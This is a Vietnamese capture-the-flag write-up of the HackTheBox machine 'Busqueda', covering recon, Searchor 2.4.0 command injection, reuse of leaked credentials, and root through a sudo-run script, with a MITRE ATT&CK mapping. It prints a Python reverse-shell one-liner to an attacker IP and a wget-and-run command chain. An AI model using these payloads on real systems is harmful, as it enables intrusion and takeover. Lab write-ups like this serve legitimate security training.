Tên: Quách vĩnh thạnh (aka Sheng)

**Busqueda**

Mục lục

[1. Technicals Details 1](#_Toc152350948)

[1.1. Reconnaissance 1](#_Toc152350949)

[Nmap scan 1](#_Toc152350950)

[Web page 2](#_Toc152350951)

[2.1. Initial Access 2](#_Toc152350952)

[CVE 2](#_Toc152350953)

[2.2. Privilege Escalation 2](#_Toc152350954)

[Enumeration 2](#_Toc152350955)

[Credential stuffing 1 4](#_Toc152350956)

[SUID 4](#_Toc152350957)

[Credential stuffing 2 6](#_Toc152350958)

[Root 7](#_Toc152350959)

[2. Summary - Mapping MITRE ATT&CK 8](#_Toc152350960)

[Tactics: Reconnaissance 8](#_Toc152350961)

[Tactics: Discovery 8](#_Toc152350962)

[Tactics: Privilege Escalation 8](#_Toc152350963)

**1. Technicals Details**

**1.1. Reconnaissance**

**Nmap scan**

$ sudo nmap -sS -sC -sV -p- 10.129.228.217

Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-01 03:57 EST

Nmap scan report for 10.129.228.217

Host is up (0.23s latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds

Phân tích kết quả của nmap, ta có các thông tin đáng chú ý sau:

* Có các services:
  + SSH port 22
  + Dịch vụ Web port 80

**Web page**

**A screenshot of a social media page

Description automatically generated**

Ta thu được thông tin sau:

* Web chạy backend bằng Flask của python.
* Sử dụng phiên bảng Searchor 2.4.0 ( có lỗ hỏng)

<https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection>

## 2.1. Initial Access

### CVE

Search trên google về lỗ hổng của 2.4.0 được link PoC sau:

<https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection>

Chạy theo hướng dẫn ta được shell (svc@busqueda):

A screenshot of a computer screen

Description automatically generated

## 2.2. Privilege Escalation

### Enumeration

Ta thu được thông tin sau:

Tồn tại đường dẫn /var/www/app/.git/

Đọc file config:

svc@busqueda:/var/www/app/.git$ cat config

cat config

[core]

repositoryformatversion = 0

filemode = true

bare = false

logallrefupdates = true

[remote "origin"]

url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher\_site.git

fetch = +refs/heads/\*:refs/remotes/origin/\*

[branch "main"]

remote = origin

merge = refs/heads/main

Ta thu được credentials: **cody:jh1usoih2bkjaspwe92**

Đường dẫn: gitea.searcher.htb ( thêm vào /etc/hosts và truy cập vào web)

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

Đăng nhập thành công vào web với tài khoản cody thu được.

Tồn tại user: administrator

### Credential stuffing 1

Dùng password trên chạy: sudo -l

svc@busqueda:/var/www/app/.git$ sudo -l

sudo -l

[sudo] password for svc: jh1usoih2bkjaspwe92

Matching Defaults entries for svc on busqueda:

env\_reset, mail\_badpass,

secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,

use\_pty

User svc may run the following commands on busqueda:

(root) /usr/bin/python3 /opt/scripts/system-checkup.py \*

* **Password của svc là jh1usoih2bkjaspwe92.**

ssh với password vừa thu được để nâng cấp shell. (thành công)

### SUID

File system-checkup.py và đường dẫn /opt/scripts đều không có quyền ghi.

Chạy thử:

svc@busqueda:~$ sudo -u root /usr/bin/python3 /opt/scripts/system-checkup.py hehe

Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

docker-ps : List running docker containers

docker-inspect : Inpect a certain docker container

full-checkup : Run a full system checkup

**docker-ps**

A screen shot of a computer

Description automatically generated

Ta thấy được máy đang chạy 2 container: gitea, mysql\_db.

**docker-inspect**

Cách chạy inspect trên docker: <https://docs.docker.com/config/formatting/?source=post_page-----964fed1515a6-------------------------------->

Inspect gitea:

A screen shot of a computer screen

Description automatically generated

Dùng công cụ codebeautiful online để dễ nhìn hơn.

A screenshot of a computer

Description automatically generated

Không thu được thông tin gì đặc biệt.

Tiếp tục với mysql\_db:

A screenshot of a computer program

Description automatically generated

Ta thu được creadentials: **gitea:yuiu1hoiu4i5ho1uh**

**Full-checkup**



### Credential stuffing 2

Đăng nhập page gitea.searcher.htb với account **administrator:yuiu1hoiu4i5ho1uh** (thành công)

A screenshot of a computer

Description automatically generated

### Root

**A black rectangular object with a white stripe

Description automatically generated**

Thu thập được source code các file trên.

Check file system-checkup.py:

A computer screen shot of a program code

Description automatically generated

Tôi thấy được rằng khi gọi với tham số full-checkup thì sẽ chạy file full-checkup.sh tại thư mục hiện tại.

Vậy ý tưởng của tôi để leo quyền là tạo một file-checkup.sh theo ý mình tại folder có thể ghi (/tmp) rồi chạy suid system-checkup.py thực thi lệnh theo ý mình.

**Thực hiện:**

Tạo file file-checkup.sh tại máy với nội dung sau:

#!/usr/bin/python3

import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.10.14.25",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

Mở server để victim có thể lấy file về

A computer screen with white text

Description automatically generated

Chạy lệnh sau tại /tmp/ để tải file về máy victim và chạy:

wget http://10.10.14.25:1234/full-checkup.sh;chmod +x full-checkup.sh; sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

A computer screen shot of a program

Description automatically generated

# 2. Summary - Mapping MITRE ATT&CK

## Tactics: Reconnaissance

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| Active Scanning **[**[**T1595**](https://attack.mitre.org/techniques/T1595/)**]** | Kẻ tấn công đã thực hiện trinh sát target để thu thập các thông tin sơ lược như IP, các port được mở và các service tương ứng. |

## Tactics: Discovery

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| Account Discovery[[**T1087**](https://attack.mitre.org/techniques/T1087/)] | Kẻ tấn công thu thập những thông tin credentials có sẵn trên hệ thống từ các source code và dump thông tin từ service đang chạy. |

## Tactics: Privilege Escalation

|  |  |
| --- | --- |
| **Threat Actor Technique / Sub-Techniques** | **Threat Actor Procedure(s)** |
| Create or Modify System Process **[**[**T1543**](https://attack.mitre.org/techniques/T1543/)**]** | Kẻ tấn công sửa lại file có sẵn để tận dụng thực thi code theo ý mình, chiếm quyền điều khiển cao hơn. |